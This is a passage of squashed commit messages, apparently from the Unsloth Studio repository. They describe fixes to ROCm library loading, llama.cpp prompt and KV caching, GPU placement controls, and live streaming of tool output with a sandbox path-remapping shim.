Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
* fix(rocm): prepend system ROCm libs on native Linux to avoid bundled HIP crash
Prebuilt llama.cpp bundles ship their own ROCR/HIP runtime which can be
incompatible with the host's amdkfd kernel driver, causing hsa_init()
to crash or report zero devices. The llama-server then silently falls
back to CPU while the UI reports GPU.
The existing workaround (_wsl_system_rocm_lib_dirs) that prepends
/opt/rocm/lib to LD_LIBRARY_PATH was gated on WSL (/dev/dxg) only,
leaving native Linux AMD hosts unprotected.
This commit adds _native_linux_system_rocm_lib_dirs(), a parallel
helper gated on:
- Linux platform (not WSL)
- /dev/kfd present (bare-metal AMD compute)
- Bundle contains bundled HIP libs (libggml-hip.so)
- System has libhsa-runtime64.so(.1)
It is called from both _llama_server_env_for_binary (serve-time)
and binary_env (install-time validation), directly after the WSL
block in both paths.
Fixes#7208Fixes#7208
* Add UNSLOTH_LLAMA_NO_SYSTEM_ROCM opt-out to native-Linux system ROCm preference for PR #7233
Lets a host where the bundled runtime works but system ROCm is mismatched keep
the bundle. Mirrored in llama_cpp.py and install_llama_prebuilt.py.
* Prefer env-configured ROCm root over /opt/rocm fallback for PR #7233
Put HIP_PATH/HIP_PATH_57/ROCM_PATH-derived roots before /opt/rocm so a stale
/opt/rocm can't shadow the driver-matching install the env vars point at.
Mirrored in llama_cpp.py and install_llama_prebuilt.py.
* Match versioned libggml-hip.so via glob so the native-Linux ROCm fix fires for PR #7233
* Clarify native-Linux ROCm prepend uses the consistent system stack for PR #7233
* llama_cpp: tighten native-Linux ROCm prepend comments (no code change)
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio (Windows): keep prompt caching on full GPU offload (#5692 follow-up)
The #5692 full-offload tuning also added --no-cache-prompt, which disables
in-VRAM prompt-prefix reuse. That is unrelated to the host-RAM KV checkpoints
#5692 fixed (--cache-ram 0 / --ctx-checkpoints 0): a fully offloaded model keeps
its KV cache in VRAM, so reusing a common prefix does not copy to system RAM and
does not cause the PCI-E overhead. --no-cache-prompt only forces every request to
re-prefill the whole prompt, which is small for short chats but severe for large
stable system prompts reused across calls (coding agents, long multi-turn chats).
Remove --no-cache-prompt; keep the checkpoint disables and the thread/OMP tuning.
_prompt_cache_disabled stays False (its default), so slot save/restore is intact.
Verified on a fully offloaded gemma GGUF: an identical repeated prompt reprefills
1 token instead of 2220.
* Guard against re-adding --no-cache-prompt to any llama-server command
Add a backend-wide test that AST-scans studio/backend and fails if
--no-cache-prompt is appended/extended/+= into a command. This locks in
the #7260 fix across every code path, not just load_model. Detecting the
flag or honouring a user-supplied one stays allowed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: make Stop and stall deadlines interrupt a wedged stream portably
The cancel watcher unblocks a stalled read by shutting the socket down from
another thread, which works on POSIX but not reliably on native Windows, where
Winsock does not dependably wake a recv() already in progress on another thread.
Wrap the httpcore network stream so the reader loops each read in short slices
and polls the cancel event itself. Stop and the stall deadlines now interrupt a
wedged mid-stream read without any cross-thread socket teardown, and a slow but
still-alive stream is never torn down. The POSIX shutdown path is preserved.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor the post-first-token stall timeout in the cancel-aware read
httpcore snapshots request.extensions timeout read once when the body
starts, so lowering it to the stall timeout after the first token never
reached the socket read and a one-token-then-silent server hung for the
full prefill window. Re-read the live extensions timeout per call and
bound each read by it, falling back to the httpcore-passed timeout when
absent so prefill and normal completion are unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten comments in the llama.cpp stall timeout path
* Tighten comments in the stream stall cancel path
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Studio: persist llama.cpp KV cache across idle auto-unload (slot save/restore)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address KV persistence review feedback
* Studio: guard KV restore on launch config
* Studio: fix KV resume purge race, fingerprint requested ctx, purge on disable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: re-check idle/keep-KV settings after slot save, ns file identity
* Studio: shard-aware KV guard, honor user --no-cache-prompt, early save cap
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: honor LLAMA_ARG_CACHE_PROMPT env in slot-save guard
* Studio: derive prompt-cache state from final argv for slot saves
* Studio: stat LoRA/control-vector sidecars in KV restore fingerprint
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: parse csv and FNAME:SCALE sidecar syntax in KV fingerprint
* Studio: address codex review on idle-unload KV resume
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden slot-save cleanup, cap accounting, stale-KV guard, save timeout
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: treat unavailable KV estimate as full-cap for slot-save disk check
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: GPU memory dropdown — llama.cpp --fit on and manual gpu-layers/cpu-moe
* Studio: simplify GPU memory changes (reuse ParamSlider, GPU_LAYERS_ALL, loadedGpuMemoryFields helper)
* Studio: GPU picker — choose which GPUs a GGUF model loads on (gpu_ids)
* Studio: simplify GPU picker (share /api/system fetch, validate gpu_ids)
* Studio: GPU picker review fixes (gate relative indices, no cross-model leak, validate, types)
* Studio: group GPU controls under a collapsible GPU section
* Studio: GPU feature review fixes (fix fit-ctx test, behavior-test the floor, comment accuracy)
* Studio: make GPU a top-level settings section (not nested under Model)
* Studio: flatten GPU controls into the Model section, group by GPU/context/generation
* Studio: move GPU Memory to the bottom of Model with its dependent controls beneath it
* Studio: move GPU Memory below Tensor Parallelism and GPUs below GPU Memory
* Studio: tighten GPU Memory and GPU Layers tooltip copy
* Studio: fix fit-mode context slider track-click, restore GPU Memory tooltip, shorten fit dropdown label
* Studio: GPU Memory tooltip one mode per line, briefer
* Studio: note HIP_VISIBLE_DEVICES (ROCm) in the GPUs picker tooltip
* Studio: narrow the GPU Memory dropdown to fit the shortened label
* Studio: use 'llama.cpp --fit' in the GPU Memory tooltip for consistency
* Studio: allow Tensor Parallelism in Manual GPU mode
* Studio: graduated MoE-on-CPU offload (--n-cpu-moe) replacing the all-or-nothing toggle
* Studio: size the MoE-offload slider for staged (deferred-load) models
* Studio: share one GGUF header walk for the context-length and MoE-count readers
* Studio: size the GPU Layers slider for staged models (one staged-header read)
* Studio: move Tensor Parallelism below the GPUs picker
* Studio: GPU split (--tensor-split) per-GPU model share in Manual mode
* Studio: tolerate whitespace in GPU split input, move it below GPU Layers
* Studio: rename the GPU split control to "Split ratio"
* Studio: Split ratio sends explicit even input; fix blank=free-VRAM (not even) copy
* Studio: tighten llama.cpp --fit VRAM margin with --fit-target 512
* Studio: GPU memory review fixes (rollback re-baseline, single-GPU TP gate, accurate copy)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: move Split ratio below MoE Layers on CPU
* Studio: address PR review (fix GPU-info hydration race, share fit context-length across load paths)
* Studio: address codex review (manual single-GPU TP guard, GPU-aware spec defaults in fit/manual, GGUF-only context/preference)
* Studio: address codex review round 2 (gpu_present seed, single-GPU tensor-split guard, staged manual-knob reset, strip inherited offload flags)
* Studio: address codex review round 3 (strip inherited --n-cpu-moe, CPU-fallback warning in Manual mode)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address codex review round 4 (preserve pinned fit context across a later Apply)
* Studio: address codex review round 5 (honor GPU picker for diffusion GGUFs, clear fit pin on cross-model switch)
* Studio: preserve the pending GPU Memory mode when staging a model
* Studio: pin diffusion GPU device order and reset GPU-memory state for diffusion loads
* Studio: address codex review round 6 (fit-Auto rollback context, preserve manual non-tensor split modes, persist GPU mode on load not select)
* Studio: persist the applied GPU Memory mode, not the requested one (skip diffusion loads)
* Studio: replace Manual-mode split-ratio field with per-GPU layer sliders
* Studio: clarify per-GPU layer split hint for tensor-parallel mode
* Studio: address codex review round 7 (allow GGUF gpu_ids past the legacy guard, replay GPU-memory fields on respawn)
* Studio: address codex review round 8 (size the validate preflight like the load in fit mode, across both load paths)
* Studio: skip the training-OOM guard for llama.cpp --fit GGUF loads (they spill to RAM)
* Studio: drop the now-redundant compare-path validate sizing (the --fit guard skip makes it moot)
* Studio: address codex review round 9 (keep the training guard for fit loads, forward gpu_ids to validate, strip inherited manual tensor-split)
* Studio: address codex review round 10 (gate GPU-memory adoption on is_gguf, record manual knobs only in Manual mode)
* Studio: handle diffusion GGUFs symmetrically in the GPU Memory controls (preserve the standing mode preference, hide the inapplicable mode/TP controls)
* Studio: remember the GPU Memory settings per model
* Studio: consolidate --fit mode and Manual mode into a single Manual mode
* Studio: preserve the per-GPU layer split across GPU Layers changes
* Studio: trim overly long GPU Memory comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address GPU memory config review comments
* trim redundant GPU memory tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reconcile manual-mode TP drops with the #6659 drop-site invariants
* Preserve quantized KV in manual --fit, charge GGUF companions in full, reconcile GPU pick on load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear stale GPU baseline on non-GGUF loads so it can't read as dirty
* Fix no-context-shift test for the conditional -c flag
* Credit manual GPU-layer offload for cached HF GGUFs
* Reset per-model load knobs on GGUF quant switch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip inherited tensor-split when manual ratio is cleared
* Match auto-load validation to safetensors placement
* Reset editable manual knobs after Auto GGUF loads
* Record a single device for diffusion GPU picks
* Reset per-model GPU knobs before applying saved settings
* Address review comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard manual tensor splits and keep remembered context on auto-load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Snapshot compare knobs, seed splits from free VRAM, flag zero-offload loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Exempt CPU-only loads from the guard floor and harden compare and reseed paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reach full offload from the layers slider and charge extras drafters in the guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Warm the GPU device cache before pick reconciles and disable staged GPU controls
* Align the training guard with inherited extras, spec mode, and compare targets
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Hide GPUs from companion-less zero-offload loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size diffusion picks per device, own manual offload flags, reject XPU picks
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop tensor flags at zero layers and exempt CPU-pinned drafters
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Allowlist the zero-layer tensor parallel drop site
* Keep validate and load guards on the same extras and refresh stale baselines
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop mismatched manual tensor splits before launch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate XPU picks on the real backend field and harden split and hydration paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Weight full GPUs as zero, clamp split shares, and refine the zero-layer mask gate
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Carry fit context across mode changes and align drafter and picker gates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch variant switches, uncached diffusion repos, and text-only mmproj skips
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check companions on the first device and size native and remote zero-layer loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Replace the training guard's precise VRAM modeling with a conservative bound
* Baseline context pins on non-GGUF hydration and reprobe list-seeded staged GGUFs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size manual splits by their largest share and preserve resolved context from Default
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Default-deny unsized required companions and price KV at the effective cache dtype
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve MTP draft KV and MLA target-copy in the training guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size tensor-parallel loads per device and show GPU controls for native GGUFs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve MTP overhead for uncached remote GGUFs and the mmproj runtime factor
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop the training-coexistence VRAM estimation this PR added
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate remembered load settings to GGUF picks
* Lock the remaining load-time controls during a staged load
* Clear the stale native-path token on compare loads
* Drop a stale guard reference from the zero-offload masking comment
* Seed GPU baselines from the rollback response and drop never-emitted offload flags
* Match validate's training guard to load and keep the native reload token
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim verbose GPU-memory comments
* Thread the variants header walk off the event loop, honor device pins on zero-offload, and hold staged GPU edits
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor manual placement and classify pinned zero-offload loads
* Close diffusion admission and status hydration gaps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check the actual diffusion GPU during training
* Align staged baselines and manual reload dedupe
* Fix GGUF placement and rollback state
* Harden manual GGUF placement boundaries
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remove unused resolve_tensor_parallel import in llama_cpp.py
The name is used only in llama_server_args.py, routes/inference.py, and tests,
not in llama_cpp.py; the unused hoisted import trips the import-hoist verifier
in the source-lint CI job.
* Fix diffusion GPU dedup and training guard for non-numeric device tokens
The diffusion runner drives only its single lowest device and the backend
records that one device (self._gpu_ids = [sorted(gpu_ids)[0]]), but the reload
dedupe compared it against the full requested list, so a multi-GPU pick that
resolves to the same device forced a needless reload. Normalize the request the
same way for a loaded diffusion model in both _already_in_target_state and the
route _request_matches_loaded_settings.
The chat-during-training coexistence guard called int() on the single-device
token and hard-rejected when it could not parse. A non-numeric token (a CUDA
UUID / MIG handle) now sizes against the whole visible pool like the GGUF guard
instead of falsely blocking the load, and an empty token (a CPU-only runner such
as a CPU diffusion GGUF) is allowed outright since it uses no GPU VRAM.
* Tighten comments added by the GPU memory config changes
* Harden GGUF placement from independent review: VRAM sizing, diffusion TP reset, tensor_split validation
- Training coexistence guard: a single-device runner pinned through an
unresolvable UUID/MIG token was sized against the aggregate visible-VRAM pool,
so a load could pass on capacity it cannot use and then OOM active training.
Size against the worst-case visible device (min free) instead, keeping the
guard's documented default-deny contract. The empty-token (CPU-only runner)
allow path is unchanged.
- Diffusion startup: _start_diffusion_server now resets self._tensor_parallel to
False alongside the other placement resets. A prior tensor-parallel chat load
(process killed but not fully unload-reset) otherwise left /status misreporting
tensor parallelism and made an identical diffusion re-Apply reload against the
stale state.
- tensor_split: reject negative / non-finite / all-zero splits up front. They
were dropped at launch but still compared raw in the reload dedupe, so an
identical Apply reloaded indefinitely.
- Tests: the shared httpx stub was incomplete and, installed via setdefault
before real httpx loaded, broke a combined pytest run (collection errors on
httpx.Response). Import the real installed httpx instead.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Replace standalone Studio wording with Unsloth
Replace the single word Studio with Unsloth wherever it is used as
shorthand for Unsloth Studio in docs, CLI output, UI strings, i18n
locales, workflow display names, comments and docstrings.
Kept unchanged: the full name Unsloth Studio, third party product
names (LM Studio, Visual Studio, Mac Studio), feature names
(Recipe Studio, Fine-tuning Studio and its translations), and all
identifiers such as env vars, commands, paths and filenames.
* Address review feedback on the Studio wording rename
Use "an" before Unsloth where the rename left the article as "a".
Restore the split brand where Unsloth and Studio render as two halves
of the full product name: the onboarding sidebar subtitle and the
IPv6 localhost warning. Scope two messages to the full name Unsloth
Studio where plain Unsloth was misleading: the AMD README bullet and
the CLI studio setup error.
* Make the Inkling reasoning-effort coercion a module-level helper so duck-typed engine stand-ins keep working
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align Inkling minimal reasoning effort with the reference implementation (0.1)
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: Inkling support fixes (context sizing, tool-call healing, reasoning effort, audio icon)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: stream live tool output with SSE heartbeats and fix web page extraction
Server-side python/terminal tools now stream incremental stdout to the chat
UI while running (new tool_output SSE event), and every blocking tool
execution emits heartbeat keepalives so reverse proxies (Cloudflare tunnels
cap idle streams at ~100s) cannot drop the connection mid-turn. The tool
loop routes also emit a stall keepalive during silent prompt prefill between
tool iterations. The final role=tool message the model sees is byte-identical
to before, so tool-call parsing, nudging, and healing are untouched.
web_search page fetches now extract main content: GitHub repo root pages are
rewritten to the README API (with HTML fallback), hidden/aria-hidden client
error placeholders are dropped, conversion scopes to article/main, and known
boilerplate fragments are stripped. Non-HTML responses are returned raw
instead of being run through the HTML converter.
The frontend renders live-scrolling tool output inside running python and
terminal cards, and a chat stream that ends without a terminal signal now
surfaces an explicit interrupted state with a Retry action instead of
silently ending the turn.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix content-type sniffing, unlimited-timeout drain, and env parity in tool streaming
Content-Type sniffing: get_content_type() defaults to text/plain when the
header is absent, so the sniffing fallback never fired and header-less HTML
came back as raw markup. Report an empty type for a missing header and sniff
the body whenever the declared type is not HTML, so mislabeled text/plain
HTML pages are converted like before the extraction change.
Unlimited timeout drain: with tool_call_timeout disabled the old path used
communicate(timeout=None) and waited for EOF, but the streaming drain capped
the post-exit drain at a 5 second join, truncating output from a grandchild
that holds stdout open. When timeout is None, drain until EOF or the cancel
event fires; finite timeouts keep the bounded remaining-budget join.
Env parity: drop the PYTHONUNBUFFERED=1 injection on the streaming path so
the child invocation is byte-identical with and without streaming (the env
var was model-visible via os.getenv). Live streaming granularity now depends
on the child flushing; unflushed output arrives in ~8 KB chunks or at exit
and the final result is unchanged, with SSE heartbeats covering the gaps.
* Studio: stream tool-call arguments while the model writes them
A model writing a large tool call (a full python game is minutes of
generation) produced nothing on the stream: the structured path
accumulated delta.tool_calls fragments silently after the provisional
card, and the text path's DRAINING state consumed everything until
stream end. The user saw a dead Running spinner while the model was in
fact writing code, and the byte-silent SSE segment was also the window
where proxies drop the connection.
New tool_args SSE events stream the arguments as they generate. The
structured path forwards each fragment once a provisional card exists
(backlog first, so the card starts from the top of the call). The text
path sniffs the drained call for an enabled tool name and streams the
raw call text under the id the stream-end parser assigns its first call
(call_0), so the final tool_start reconciles the same card; the sniff is
gated on enabled names plus the provisional size floor, and prose or
ordinary JSON answers never spawn a card. The safetensors loop streams
the drained render_html call to its existing provisional card the same
way.
The chat adapter accumulates the raw stream per card and feeds a partial
JSON parse (call envelopes and stringified arguments unwrapped) into the
part's args, so the python and terminal cards render the code live and
the render_html canvas builds while streaming; both cards now say
Writing code / Writing command during this phase via useToolArgsStatus.
Display only: the parser input, the executed call, and the conversation
the model sees are byte-identical, covered by new loop-level tests for
the structured path, the text path, and the no-tool JSON answer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep full tool output visible past the model cap; heal /mnt/data habits
Live testing surfaced two issues in the tool streaming UX.
First, a long python stdout ended in '... (truncated' in the finished
card: the model-visible result is capped by tools._truncate
(_MAX_OUTPUT_CHARS, previously 8000 chars) to protect the context
window, and the card rendered that capped text even though the live
stream had already shown everything. The cap stays (raised to 16000,
overridable via UNSLOTH_TOOL_RESULT_MAX_CHARS) but display and model
concerns are now split: the adapter preserves the accumulated live
stream on tool_end whenever it captured more than the final result, and
the finished python/terminal cards prefer it. The live-stream ceiling
rises from 16 KB to 400 KB (chunks batch per poll, so SSE stays cheap),
and both the live pane and the finished card render only the last 2000
lines with a Show all control so a huge output cannot jank the DOM. The
truncation notice now tells the model the user saw the full output and
that written files persist in the working directory. The final result
string remains byte-identical with and without streaming.
Second, models trained on ChatGPT code-interpreter transcripts write to
/mnt/data, which does not exist here (the sandbox CWD is a per-thread
persistent dir). Three layers, all identical across streaming and
non-streaming paths: the python/terminal tool descriptions gain one
sentence saying to use relative paths in the persistent CWD; a failed
execution whose output shows a missing-file error on a known
code-interpreter prefix (/mnt/data, /mnt/outputs, /home/sandbox,
/workspace) gets a model-visible retry hint appended after truncation
so it always survives; and a sitecustomize shim on the sandbox
PYTHONPATH remaps those prefixes onto the CWD in open()/os.makedirs()
with a one-line stderr notice, covering the python tool and any Python
launched from the terminal tool without touching the exec wrapper (so
tracebacks keep their line numbers). Bash-level file operations cannot
be redirected without root or mount namespaces, so they rely on the
description and the hint.
* Studio: fix hidden-element parsing, heartbeat gaps, and tool output id collisions
Review follow-ups on the tool streaming work:
- _html_to_md: treat any present hidden attribute value as hidden (it is an
enumerated attribute whose invalid value default is the Hidden state, so
hidden="false" is still hidden), and implement HTML5 optional end tags so
an unclosed <p hidden> or <li hidden> ends at the next sibling start tag
instead of swallowing every following sibling until the parent closes
- tool_stream_exec: keep heartbeats flowing after the live-output cap; a
tool that keeps printing past the cap kept the queue non-empty, so neither
tool_output nor heartbeat events were emitted and the SSE stream went
silent past proxy idle timeouts
- routes/inference: forward tool heartbeats before the
disable_parallel_tool_use drop window swallows events, so a dropped call
that executes server-side cannot leave the Anthropic stream silent
- llama_cpp: close the provisional text tool card with a tool_end when the
drained call fails to parse (DRAINING false-positive path), so the card
cannot spin forever while the text is delivered as content
- tools: decode terminal output as utf-8 with errors=replace like the python
tool; invalid bytes used to raise UnicodeDecodeError from communicate() on
the non-streaming path and silently truncate the streaming reader, so the
two paths diverged
- sitecustomize: patch io.open alongside builtins.open; pathlib Path.open,
read_text and write_text call io.open directly and bypassed the remap
- frontend: scope the toolLiveOutput/toolFullOutput store keys by pane
(modelType and pairId) and clear stale entries on tool_start; backend ids
like call_0 repeat across turns and across concurrently streaming panes
(compare mode), so a later turn or another pane could display the wrong
preserved output, and run-end cleanup now clears only its own keys
Each backend fix carries a regression test that fails on the previous code;
the byte-identity tests between streaming and non-streaming stay green.
* Studio: keep tool failure status visible and truncation/remap notices truthful
Finished python/terminal cards preferred the fuller live stream by length
alone, so a tool that printed a lot then timed out or exited non-zero showed
the captured stdout but dropped the final result's status (timeout notice,
Exit code N). preferFullToolOutput now shows the stream when the result is
just its truncated prefix, and appends the result otherwise so the failure
tail always survives and the copy button copies both.
The result truncation notice claimed the user was shown the full output, but
the same wrapper serves non-streaming chat/API and direct execute_tool()
callers where nothing is streamed to anyone. The notice is now mode-neutral
and stays byte-identical with and without an output_callback, keeping the
streaming vs non-streaming invariant intact.
The sandbox sitecustomize shim now remaps /tmp/outputs into the working
directory only while it does not already exist, so a real /tmp/outputs the
user's own code created is never shadowed; /tmp/outputs also joins the
missing-path retry-hint list.
* Studio: suppress hidden void elements and keep live output scroll pinned only when at bottom
* Studio: drop capped tool output without concatenating; remap pathlib mkdir
Past the live-output cap stream_tool_execution built item + _drain_pending()
(the current chunk joined with every queued sibling) only to discard it in the
capped branch, so a chatty tool (yes, a tight print loop) could enqueue far
more than one poll interval of text and blow past the memory/CPU ceiling the
cap exists to enforce. Drain and drop queued items without building a combined
string, still counting each drain toward the heartbeat cadence so the SSE
keepalive survives.
Generated code often prepares code-interpreter paths with
Path('/mnt/data').mkdir(parents=True, exist_ok=True); pathlib drives that
through os.mkdir (not the patched os.makedirs) per component and, on
FileExistsError, probes the unpatched os.stat via Path.is_dir(), so the setup
raised before open() ever ran. Patch os.mkdir with the same remap and patch
Path.mkdir so the whole parents/exist_ok dance lands on the mapped working
directory and stays idempotent; real paths still pass through.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: generalize sandbox write remap and hint to any hallucinated absolute path
Models invent absolute paths from seeing their CWD (a DeepSeek run did
open('/home/ubuntu/Sandbox/flappy_bird.html', 'w') and died with
FileNotFoundError). A prefix list cannot enumerate these, so the sitecustomize
shim gains a write-mode fallback in open()/io.open(): when a write/create-mode
open targets an absolute path outside the CWD whose parent directory does not
exist, redirect it to the basename in the CWD and emit the same one-line stderr
notice, echoing the original path. The prefix remaps still run first (they cover
reads and preserve subpaths); read modes never hit the fallback so real system
files fail or succeed truthfully; bytes paths pass through. The fallback is not
applied to mkdir/makedirs/Path.mkdir, since creating an arbitrary absolute
directory can legitimately succeed on the host, and that decision is documented
in a comment.
The model-visible retry hint now echoes the real failing path (parsed from the
traceback tail) instead of the canned /mnt/data example, and fires for any
absolute path outside the working directory, not just the enumerated prefixes,
while a relative miss still gets no hint.
The shim wrapper still adds one frame to tracebacks that surface open() errors;
suppressing only our frame has no clean standard mechanism (a wrapper always
adds a frame), so the frame is left as an accepted compromise.
Tests: hallucinated absolute write remaps to the CWD basename across w/a/x/w+;
reads of a missing absolute path pass through untouched; writes to an existing
external dir pass through; prefix subpaths still preserved; end-to-end write
fallback lands the file in the sandbox workdir identically with and without
streaming; the hint echoes the actual path for convention and non-convention
absolute paths alike.
* Studio: kill exited process groups on drain; bound the over-cap output batch
_drain_process_output killed the process only via _kill_process_tree, which
short-circuits once the parent has exited, so a grandchild that inherited
stdout and outlived the parent was never signaled: a finite-timeout run could
return while it kept holding the pipe, and a timeout=None cancel left it
behind. Capture the setsid process group before waiting and SIGKILL that group
at both give-up points so the whole tree is torn down.
The streaming wrapper's first over-cap batch joined the current chunk with the
entire pending backlog before enforcing the live-output cap, so a chatty tool
could allocate far past the cap on the crossing batch. Bound the drain to the
remaining budget and drop the surplus in place, keeping the truncated output
byte-identical to joining everything.
* Studio: harden sandbox path healing and process/generator cleanup
Sandbox sitecustomize shim:
- Make the generalized write fallback collision-safe: never redirect an
invented absolute path onto an already-present CWD file (refuse and let the
original open raise FileNotFoundError, preserving the workspace file).
- Only w/a/x create a file; r+/rb+ are read-update modes that require the
target to exist, so a bare + no longer trips the write fallback.
- Gate every convention-prefix remap (/mnt/data, /mnt/outputs, /home/sandbox,
/workspace) on the prefix root being absent, so a real host mount is never
shadowed; a miss under an existing real prefix passes through.
- Patch os.open so Path.touch and other low-level creators heal convention
paths too, matching the Path.mkdir patch.
Local code execution (tools.py):
- Capture the setsid process group right after Popen (before any watcher can
poll/reap the leader) and thread it through the cancel watcher and drain.
- Kill the captured group in the non-streaming python/terminal timeout branch
so an exited leader no longer leaks a stdout-holding grandchild (matches the
streaming drain path).
- Guard os.getpgid/os.killpg by platform so streamed execution no longer
raises on Windows; fall back to single-pid kill.
- Judge missing-path hints against the executor's real workdir so a legitimate
miss inside a project workspace outside the sandbox root is not mislabeled.
Tool streaming routes (routes/inference.py):
- Drain a pending next(gen) worker before closing the generator in the
safetensors and Anthropic tool streams, so a disconnect no longer races
gen.close() (generator already executing) or leaks the thread/generator.
HTML to markdown:
- Only drop boilerplate lines composed entirely of known furniture phrases so
real prose that merely quotes one (for example "we use cookies to
authenticate requests") is preserved.
Adds hermetic tests for each change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep aside callouts, contain sandbox path remaps, and keepalive dropped Anthropic tool events
_html_to_md: stop dropping <aside> unconditionally. Documentation pages
render notes/warnings/examples as aside admonition callouts; those inside
the selected article/main scope are real content. A furniture aside outside
the scope is already excluded by the main-content pass.
sitecustomize: contain the code-interpreter path remap under the sandbox
CWD. A hallucinated habit path such as /mnt/data/../other_session/file no
longer escapes the per-conversation workdir; parent-traversal components in
the suffix are dropped and a '.'/'..' write-fallback basename is refused.
routes/inference: emit a rate-limited comment keepalive when the Anthropic
Messages stream drops tool_output/tool_args events. A chatty tool keeps the
generator busy so the stall keepalive never fires and the tool wrapper emits
heartbeats only while idle, which left the SSE stream silent past proxy idle
caps; the OpenAI passthrough paths forward these events, this path now keeps
the connection alive.
* Studio: bound the tool-output chunk that first crosses the live cap
_drain_queue joined the entire chunk that first crossed the live-output
cap before dropping the rest, so a single multi-megabyte line (or any
chunk dequeued once the budget was already met at max_chars <= 0) was
materialized in full only to be truncated away, defeating the memory
